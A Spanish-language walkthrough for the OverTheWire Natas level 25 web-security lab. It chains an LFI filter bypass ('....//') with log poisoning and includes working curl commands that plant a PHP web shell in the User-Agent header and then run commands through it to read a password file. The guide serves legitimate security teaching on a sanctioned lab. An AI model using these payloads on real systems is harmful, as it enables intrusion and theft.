Natas Nivel 25 a 26
Nivel oficial: http://natas25.natas.labs.overthewire.org
Este nivel combina dos tecnicas encadenadas: Local File Inclusion (LFI) con un filtro debil contra traversal, y log poisoning para convertir el LFI en ejecucion remota de codigo (RCE). Es uno de los niveles mas didacticos de Natas sobre como una vulnerabilidad “solo de lectura” puede escalar a RCE completo.
Este reto forma parte de OverTheWire Natas, un laboratorio de seguridad web legal y autorizado para aprendizaje etico.
Objetivo
Leer el contenido de /etc/natas_webpass/natas26 explotando un LFI que incluye un archivo de log de la propia aplicacion, previamente envenenado con codigo PHP embebido en la cabecera User-Agent.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
| LFI (Local File Inclusion) | Incluir ficheros arbitrarios del servidor via parametro de URL |
Path traversal (../) | Subir directorios para salir del directorio base |
Filtro de ../ bypassable | El filtro elimina ../ una sola vez, no recursivamente |
| Log poisoning | Inyectar codigo en un fichero de log que luego se incluye via LFI |
Cabecera User-Agent | Vector de inyeccion: el servidor la escribe en el log sin sanitizar |
curl -H | Enviar cabeceras HTTP personalizadas desde linea de comandos |
<?php ... ?> en log | El interprete PHP ejecuta cualquier bloque PHP al incluir el fichero |
Concepto clave
LFI + Log Poisoning → RCE
El patron tiene tres fases:
- LFI: la app incluye un fichero cuya ruta viene de un parametro controlable por el usuario. El servidor ejecuta (o renderiza) ese fichero como PHP.
- Bypass del filtro: el filtro elimina
../de forma no recursiva. Si insertas....//o..././, al eliminar../del centro queda../de todos modos. - Log poisoning: el servidor escribe el
User-Agenten un log de la aplicacion. Si inyectas codigo PHP en ese header, queda persistido en el log. Al incluir el log via LFI, el interprete PHP lo ejecuta.
La cadena completa: controlar el User-Agent → escribir PHP en el log → incluir el log via LFI → RCE.
Paso a paso
1. Reconocimiento del parametro vulnerable
Accede al nivel con tus credenciales:
curl -u natas25:<pass_natas25> http://natas25.natas.labs.overthewire.org/La app acepta un parametro lang (idioma) que carga una plantilla. Observa la URL:
http://natas25.natas.labs.overthewire.org/?lang=es
El servidor incluye algo como templates/es o similar. Ese parametro es el vector LFI.
2. Probar el LFI directo (bloqueado por el filtro)
Un traversal clasico seria:
curl -u natas25:<pass_natas25> \
"http://natas25.natas.labs.overthewire.org/?lang=../../../etc/natas_webpass/natas26"El filtro de la aplicacion detecta y elimina ../, por lo que la ruta queda rota.
3. Bypassar el filtro de ../
El filtro elimina ../ pero solo una pasada (no es recursivo). El truco clasico:
....// → el filtro borra '../' del centro → queda '../'
..././ → analogamente queda '../'
Prueba con secuencias anidadas para subir los directorios necesarios:
curl -u natas25:<pass_natas25> \
"http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//etc/natas_webpass/natas26"Nota: el numero exacto de
....//necesarios depende de la profundidad del directorio base de las plantillas. Ajusta segun la respuesta del servidor; si obtienes un error de “file not found” en lugar de la pagina en blanco, el bypass esta funcionando pero la ruta no es la correcta aun.
4. Localizar el fichero de log de la aplicacion
El nivel registra accesos en un log propio (no el log de Apache). La ruta tipica sigue el patron:
/var/www/natas/natas25/logs/natas25_<SESSION_ID>.log
donde <SESSION_ID> es el valor de tu cookie PHPSESSID. Consigue tu session ID:
curl -v -u natas25:<pass_natas25> http://natas25.natas.labs.overthewire.org/ 2>&1 | grep "Set-Cookie"Apunta el valor del PHPSESSID.
5. Envenenar el log con codigo PHP en User-Agent
Envia una peticion con PHP en la cabecera User-Agent. El servidor escribira ese string tal cual en el log:
curl -u natas25:<pass_natas25> \
-H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
"http://natas25.natas.labs.overthewire.org/"A partir de este momento el log contiene un fragmento PHP ejecutable.
6. Incluir el log via LFI para activar el RCE
Ahora apunta el parametro lang al fichero de log, usando el bypass del filtro y pasando el comando deseado:
SESSION="<tu_PHPSESSID>"
curl -u natas25:<pass_natas25> \
"http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//var/www/natas/natas25/logs/natas25_${SESSION}.log&cmd=cat+/etc/natas_webpass/natas26"Si todo es correcto, la respuesta de la pagina contendra la contrasena de natas26 embebida en el HTML.
Aviso: la ruta exacta del log (
/var/www/natas/natas25/logs/...) puede variar. Si la anterior no funciona, prueba con/tmp/,/var/log/o inspecciona el codigo fuente de la app para confirmar donde escribe los logs. Este es el ajuste fino mas frecuente en este nivel.
Por que funciona
El servidor usa include() (o equivalente) con la ruta construida a partir del parametro lang. PHP ejecuta cualquier bloque <?php ?> que encuentre en el fichero incluido, independientemente de su extension o de donde provenga. Al escribir codigo PHP en el User-Agent, que el servidor loguea sin escapar, conseguimos que el log sea un fichero PHP ejecutable de facto. El LFI lo “activa”.
El filtro falla porque aplica str_replace('../', '', $lang) una sola vez: ....// contiene ../ en su interior, y tras borrarlo queda ../.
Errores comunes
- Numero incorrecto de
....//: la profundidad del directorio base de plantillas determina cuantos niveles hay que subir. Incrementa de uno en uno y observa si el error cambia de “template not found” a algo relacionado con el log. - PHPSESSID equivocado: el log se nombra con tu session ID activo. Si abres una nueva pestaña o la sesion expira, el ID cambia y el log envenenado ya no coincide con la inclusion.
- Caracteres especiales en User-Agent mal escapados: asegurate de que
curlenvia el payload PHP literalmente. Usa comillas simples en la cabecera-H '...'para evitar que la shell interprete$. - Log aun no creado: el log se genera con la primera peticion al nivel. Si obtienes “file not found” al incluirlo, haz primero una peticion normal al nivel para que el servidor cree el fichero de log.
Pasar al siguiente nivel
Con la contrasena obtenida, accede a Natas 26:
curl -u natas26:<pass_natas26> http://natas26.natas.labs.overthewire.org/